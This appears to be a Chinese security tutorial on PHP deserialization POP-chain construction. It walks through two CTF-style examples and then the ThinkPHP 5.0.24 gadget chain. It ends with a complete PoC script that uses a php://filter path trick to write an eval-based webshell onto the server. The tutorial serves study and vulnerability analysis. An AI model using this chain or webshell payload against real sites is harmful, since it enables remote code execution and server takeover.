基本的魔术方法和反序列化漏洞原理这里就不展开了。
给出一些魔术方法的触发条件:
__construct()当一个对象创建(new)时被调用,但在unserialize()时是不会自动调用的 __destruct()当一个对象销毁时被调用 __toString()当一个对象被当作一个字符串使用 __sleep() 在对象在被序列化之前运行 __wakeup将在unserialize()时会自动调用 __set方法:当程序试图写入一个不存在或不可见的成员变量时,PHP就会执行set方法。 __get方法:当程序调用一个未定义或不可见的成员变量时,通过get方法来读取变量的值。 __invoke():当尝试以调用函数的方式调用一个对象时,invoke() 方法会被自动调用 __call()方法:当调用一个对象中不存在的方法时,call 方法将会被自动调用。
pop又称之为面向属性编程(Property-Oriented Programing),常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的;只不过ROP是通过栈溢出实现控制指令的执行流程,而我们的反序列化是通过控制对象的属性从而实现控制程序的执行流程;因为反序列化中我们能控制的也就只有对象的属性了
总的来说,POP链就是利用魔法方法在里面进行多次跳转然后获取敏感数据的一种payload
对于POP链的构造,我们首先要找到它的头和尾。pop链的头部一般是用户能传入参数的地方,而尾部是可以执行我们操作的地方,比如说读写文件,执行命令等等;找到头尾之后,从尾部(我们执行操作的地方)开始,看它在哪个方法中,怎么样可以调用它,一层一层往上倒推,直到推到头部为止,也就是我们传参的地方,一条pop链子就出来了
下面我们看两个例子
<?php highlight_file(__FILE__); class Hello { public $source; public $str; public function __construct($name) { $this->str=$name; } public function __destruct() { $this->source=$this->str; echo $this->source; } } class Show { public $source; public $str; public function __toString() { $content = $this->str['str']->source; return $content; } } class Uwant { public $params; public function __construct(){ $this->params='phpinfo();'; } public function __get($key){ return $this->getshell($this->params); } public function getshell($value) { eval($this->params); } } $a = $_GET['a']; unserialize($a); ?>
__get方法:当程序调用一个未定义或不可见的成员变量时,通过get方法来读取变量的值。
__toString()当一个对象被当作一个字符串使用 (如,echo 一个对象)
__destruct()当一个对象销毁时被调用
思路分析:先找POP链的头和尾,头部明显是GET传参,尾部是Uwant类中的getshell,然后往上倒推,Uwant类中的__get()中调用了getshell,Show类中的__toString可以调用__get(),然后Hello类中的__destruct()可以构造来调用__toString,所以我们GET传参让其先进入__destruct(),这样头和尾就连上了,所以说完整的链子就是:
头 -> Hello::__destruct() -> Show::__toString() -> Uwant::__get() -> Uwant::getshell -> 尾
具体构造:
在Hello类中我们要把$this->str赋值成对象,下面echo出来才能调用Show类中的__toString(),然后再把Show类中的$this->str['str']赋值成对象,来调用Uwant类中的__get()
<?php class Hello { public $source; public $str; } class Show { public $source; public $str; } class Uwant { public $params='phpinfo();'; } $a = new Hello(); $b = new Show(); $c = new Uwant(); $a->str = $b; $b->str['str']= $c; echo serialize($a); ?>

然后将结果进行url编码,GET方式传入

<meta charset="utf-8"> <?php //hint is in hint.php error_reporting(1); class Start { public $name='guest'; public $flag='syst3m("cat 127.0.0.1/etc/hint");'; public function __construct(){ echo "I think you need /etc/hint . Before this you need to see the source code"; } public function _sayhello(){ echo $this->name; return 'ok'; } public function __wakeup(){ echo "hi"; $this->_sayhello(); } public function __get($cc){ echo "give you flag : ".$this->flag; return ; } } class Info { private $phonenumber=123123; public $promise='I do'; public function __construct(){ $this->promise='I will not !!!!'; return $this->promise; } public function __toString(){ return $this->file['filename']->ffiillee['ffiilleennaammee']; } } class Room { public $filename='./flag'; public $sth_to_set; public $a=''; public function __get($name){ $function = $this->a; return $function(); } public function Get_hint($file){ $hint=base64_encode(file_get_contents($file)); echo $hint; return ; } public function __invoke(){ $content = $this->Get_hint($this->filename); echo $content; } } if(isset($_GET['hello'])){ unserialize($_GET['hello']); }else{ $hi = new Start(); } ?>
__wakeup将在unserialize()时会自动调用
__get方法:当程序调用一个未定义或不可见的成员变量时,通过get方法来读取变量的值。
__toString()当一个对象被当作一个字符串使用
__invoke():当尝试以调用函数的方式调用一个对象时,invoke() 方法会被自动调用
思路分析:首先依然是找到头和尾,头部依然是一个GET传参,而尾部可以看到Room类中有个Get_hint()方法,里面有一个file_get_contents,可以实现任意文件读取,我们就可以利用这个读取flag文件了,然后就是往前倒推,Room类中__invoke()方法调用了Get_hint(),然后Room类的__get()里面有个return $function()可以调用__invoke(),再往前看,Info类中的__toString()中有Room类中不存在的属性,所以可以调用__get(),然后Start类中有个_sayhello()可以调用__toString(),然后在Start类中__wakeup()方法中直接调用了_sayhello(),而我们知道的是,输入字符串之后就会先进入__wakeup(),这样头和尾就连上了
头 -> Start::__wakeup() -> Start::__sayhello() -> Info::__toString() -> Room::__get() -> Room::__invoke() -> Room::__Get_hint() -> 尾
具体构造:
Start类的__wakeup()方法在反序列化时自动调用,然后调用__sayhello()方法,这里我们要把$this->name赋值成对象,echo出来才能调用Info类中的__toString(),然后再把Info类中的$this->file['filename']赋值成对象,来调用Room类中的__get(),再把Room类中的$this->a赋值成对象,来调用Room类中的__invoke(),最终调用Get_hint方法拿到flag
<?php class Start { public $name; } class Info { private $phonenumber; public $promise; } class Room { public $filename='./flag'; public $sth_to_set; public $a=''; } $a = new Start; $b = new Info; $c = new Room; $d = new Room; $a->name = $b; $b->file['filename'] = $c; $c->a = $d; echo serialize($a); echo '</br>'; echo urlencode(serialize($a)); ?>


把前面的hi去掉再进行base64解码才能得到flag
下载thinkPHP
http://www.thinkphp.cn/donate/download/id/1279.html
将源码解压后放到PHPstudy根目录,修改application/index/controller/Index.php文件,此为框架的反序列化漏洞,只有二次开发且实现反序列化才可利用。所以我们需要手工加入反序列化利用点。
添加一行代码即可:
unserialize(base64_decode($_GET['a']));

首先,进行全局搜索__destruct

查看thinkphp/library/think/process/pipes/Windows.php的Windows类中调用了__destruct魔术方法

跟进removeFiles方法

file_exists — 检查文件或目录是否存在
file_exists ( string
$filename) : bool
发现file_exists函数,file_exists接收一个字符串,所以如果传入一个对象的话,会把对象当作字符串处理,这时候就可以调用__toString魔术方法。
全局搜索__toString:

查看此方法在Model(thinkphp/library/think/Model.php):

不过Model类为抽象类,不能直接调用

因此需要找他的子类。我们可以找到Pivot(thinkphp/library/think/model/Pivot.php)进行调用

回到__toString方法,它调用了toJson()方法,跟进toJson

继续跟进toArray方法
public function toArray() { $item = []; $visible = []; $hidden = []; $data = array_merge($this->data, $this->relation); // 过滤属性 if (!empty($this->visible)) { $array = $this->parseAttr($this->visible, $visible); $data = array_intersect_key($data, array_flip($array)); } elseif (!empty($this->hidden)) { $array = $this->parseAttr($this->hidden, $hidden, false); $data = array_diff_key($data, array_flip($array)); } foreach ($data as $key => $val) { if ($val instanceof Model || $val instanceof ModelCollection) { // 关联模型对象 $item[$key] = $this->subToArray($val, $visible, $hidden, $key); } elseif (is_array($val) && reset($val) instanceof Model) { // 关联模型数据集 $arr = []; foreach ($val as $k => $value) { $arr[$k] = $this->subToArray($value, $visible, $hidden, $key); } $item[$key] = $arr; } else { // 模型属性 $item[$key] = $this->getAttr($key); } } // 追加属性(必须定义获取器) if (!empty($this->append)) { foreach ($this->append as $key => $name) { if (is_array($name)) { // 追加关联对象属性 $relation = $this->getAttr($key); $item[$key] = $relation->append($name)->toArray(); } elseif (strpos($name, '.')) { list($key, $attr) = explode('.', $name); // 追加关联对象属性 $relation = $this->getAttr($key); $item[$key] = $relation->append([$attr])->toArray(); } else { $relation = Loader::parseName($name, 1, false); if (method_exists($this, $relation)) { $modelRelation = $this->$relation(); $value = $this->getRelationData($modelRelation); if (method_exists($modelRelation, 'getBindAttr')) { $bindAttr = $modelRelation->getBindAttr(); if ($bindAttr) { foreach ($bindAttr as $key => $attr) { $key = is_numeric($key) ? $attr : $key; if (isset($this->data[$key])) { throw new Exception('bind attr has exists:' . ); } else { $item[$key] = $value ? $value->getAttr($attr) : null; } } continue; } } $item[$name] = $value; } else { $item[$name] = $this->getAttr($name); } } } } return !empty($item) ? $item : []; }
只要对象可控,且调用了不存在的方法,就会调用__call方法。可以看到,存在如下三个可能可以控制的对象:

经过分析最后一处$value->getAttr是我们利用__call魔术方法 的点。
我们来看一下代码怎么才能执行到$value->getAttr:
1.!empty($this->append) # $this->append不为空 2.!is_array($name) #$name不能为数组 3.!strpos($name, '.') #$name不能有. 4.method_exists($this, $relation) #$relation必须为Model类里的方法 5.method_exists($modelRelation, 'getBindAttr') #$modelRelation必须存在getBindAttr方法 6.$bindAttr #$bindAttr不为空 7.!isset($this->data[$key]) #$key不能在$this->data这个数组里有相同的值。
需要满足以上七个条件。
我们来逐个分析一下:
在toArray方法中,$this->append是可控的,因此$key和$name也是可控的,我们只需要使$this->append=['test']随便几个字符就可以满足前三个条件,到了第四个条件,发现$relation跟$name有关系.如下:
$relation = Loader::parseName($name, 1, false);
跟进parseName

发现parseName只是将字符串命名风格进行了转换。也就是说$name==$relation。
所以我们使$this->append=['getError'],getError为Model类里的方法,且结构简单返回值可控。这样就满足了第四个条件

下面进入了关键两行代码:
$modelRelation = $this->$relation(); $value = $this->getRelationData($modelRelation);
前面我们使得$relation为getError方法,返回值可控,所以$modelRelation也可控。
跟进getRelationData方法:
我们看到$modelRelation必须为Relation类的对象,可以通过$this->error控制

要满足if语句的条件就可以让value可控,所以$modelRelation这个对象还要有isSelfRelation()、getModel()方法。
这两种方法在Relation类中都有,但因为Relation为抽象类,需要寻找他的子类。全局搜索:

除了最后一个是抽象类外,都可以拿来用,但是我们还需要满足第五个条件,需要$modelRelation必须存在getBindAttr方法,但是Relation类没有getBindAttr方法,只有OneToOne类里有,且OneToOne类正好继承Relation类,不过是抽象类,所以我们需要找它的子类。全局搜索:

发现存在两个可用的,我们选择第二个HasOne类,即$this->error=new HasOne()。这样就满足了第五个条件。
好了,调用方法的问题解决了,下面思考如何满足if语句的条件:

①
$this->parent可控,我们要使用Output类中的__call,所以$value必须为output对象,所以$this->parent必须控制为output对象,即$this->parent=new Output().
②
我们看一下isSelfRelation()方法:
public function isSelfRelation() { return $this->selfRelation; }
$this->selfRelation可控,设为false即可。
③
get_class — 返回对象的类名
$this->parent已经确定为Output类了,所以我们要控制get_class($modelRelation->getModel())为Output类,看一下getModel()的实现:
public function getModel() { return $this->query->getModel(); }
$this->query可控,我们只需要找个getModel方法返回值可控的就可以了,全局搜索getModel方法:

可以看到Query类中getModel方法返回值可控,使$this->query=new Query() ,$this->model=new Output()即可。
经过以上,满足了if语句的条件,if方法为True,$value=$this->parent=new Output().
下面来看第六个条件:
$bindAttr = $modelRelation->getBindAttr();

$this->bindAttr可控,$this->bindAttr=["yokan","yokantest"],随便写即可。这样就满足了第六个、第七个条件。
于是就到达了$item[$key] = $value ? $value->getAttr($attr) : null;
因为Output类中没有getAttr方法,所以会去调用__call方法。
跟进Output类中的__call方法:
public function __call($method, $args) { if (in_array($method, $this->styles)) { array_unshift($args, $method); return call_user_func_array([$this, 'block'], $args); } if ($this->handle && method_exists($this->handle, $method)) { return call_user_func_array([$this->handle, $method], $args); } else { throw new Exception('method not exists:' . __CLASS__ . '->' . $method); } }
__call方法中的$method=getAttr, $args=['yokantest']
我们要使用call_user_func_array([$this, 'block'], $args); 就要使in_array($method, $this->styles)成立。$this->styles可控,即$this->styles=['getAttr']
array_unshift — 在数组开头插入一个或多个单元
array_unshift ( array
&$array[, mixed $...] ) : int
array_unshift($args, $method); 是将$method添加到数组$args中不用管。
进入call_user_func_array([$this, 'block'], $args);
call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数
call_user_func_array( callable $callback, array $param_arr) : mixed
把第一个参数作为回调函数(
callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。
调用了block方法,跟进block方法:

跟进writeln方法:

跟进write方法:

$this->handle可控全局查找可利用的write方法:

这里选择/thinkphp/library/think/session/driver/Memcache.php里的write方法

因为Memcached也存在一个$this->handle我们可以控制,进而可以利用set方法。
全局查找set方法:

这里选择thinkphp/library/think/cache/driver/File.php下的set方法,因为发现存在写入文件:

$result = file_put_contents($filename, $data);
接下来就是查看$filename, $data这两个参数是否可控:
先看$filename:
跟进getCacheKey方法:

这里$this->options可控,所以$filename可控。
现在就只需要写入的$data可控了:

$data的值来自$value,但是$value我们没法控制

但是继续往下看,进入setTagItem方法之后发现,会将$name换成$value再一次执行了set方法。


前面分析过,$filename我们可以控制,所以$value也可以控制,所以这次调用set方法,传入的三个值我们都可以控制:

最后再通过php伪协议可以绕过exit()的限制 ,就可以将危害代码写在服务器上了。
例如:
$this->options['path']=php://filter/write=string.rot13/resource=./<?cuc cucvasb();riny($_TRG[pzq]);?>

生成的文件名为:
md5('tag_'.md5($this->tag)) 即: md5('tag_c4ca4238a0b923820dcc509a6f75849b') =>3b58a9545013e88c7186db11bb158c44 => <?cuc cucvasb();riny($_TRG[pzq]);?> + 3b58a9545013e88c7186db11bb158c44 最终文件名: <?cuc cucvasb();riny($_TRG[pzq]);?>3b58a9545013e88c7186db11bb158c44.php
对于windows环境我们可以使用以下payload.
$this->options['path']=php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php
生成的文件名如下:

原理可以看这篇文章:https://xz.aliyun.com/t/7457#toc-3

<?php namespace thinkprocesspipes { class Windows { private $files = []; public function __construct($files) { $this->files = [$files]; //$file => /think/Model的子类new Pivot(); Model是抽象类 } } } namespace think { abstract class Model{ protected $append = []; protected $error = null; public $parent; function __construct($output, $modelRelation) { $this->parent = $output; //$this->parent=> thinkconsoleOutput; $this->append = array("xxx"=>"getError"); //调用getError 返回this->error $this->error = $modelRelation; // $this->error 要为 relation类的子类,并且也是OnetoOne类的子类==>>HasOne } } } namespace thinkmodel{ use thinkModel; class Pivot extends Model{ function __construct($output, $modelRelation) { parent::__construct($output, $modelRelation); } } } namespace thinkmodelrelation{ class HasOne extends OneToOne { } } namespace thinkmodelrelation { abstract class OneToOne { protected $selfRelation; protected $bindAttr = []; protected $query; function __construct($query) { $this->selfRelation = 0; $this->query = $query; //$query指向Query $this->bindAttr = ['xxx'];// $value值,作为call函数引用的第二变量 } } } namespace thinkdb { class Query { protected $model; function __construct($model) { $this->model = $model; //$this->model=> thinkconsoleOutput; } } } namespace thinkconsole{ class Output{ private $handle; protected $styles; function __construct($handle) { $this->styles = ['getAttr']; $this->handle =$handle; //$handle->thinksessiondriverMemcached } } } namespace thinksessiondriver { class Memcached { protected $handler; function __construct($handle) { $this->handler = $handle; //$handle->thinkcachedriverFile } } } namespace thinkcachedriver { class File { protected $options=null; protected $tag; function __construct(){ $this->options=[ 'expire' => 3600, 'cache_subdir' => false, 'prefix' => '', 'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php', 'data_compress' => false, ]; $this->tag = 'xxx'; } } } namespace { $Memcached = new thinksessiondriverMemcached(new thinkcachedriverFile()); $Output = new thinkconsoleOutput($Memcached); $model = new thinkdbQuery($Output); $HasOne = new thinkmodelrelationHasOne($model); $window = new thinkprocesspipesWindows(new thinkmodelPivot($Output,$HasOne)); echo serialize($window); echo "<br/><br/><br/>"; echo base64_encode(serialize($window)); }
漏洞环境:

生成POC:

触发:


利用:

https://jfanx1ng.github.io/2020/05/07/ThinkPHP5.0.24反序列化漏洞分析/
https://www.freebuf.com/articles/web/284091.html
https://xz.aliyun.com/t/8143#toc-10
https://blog.wh1sper.com/posts/thinkphp5代码审计/
http://arsenetang.com/2021/08/17/反序列化篇之pop链的构造(下)/
评论已关闭。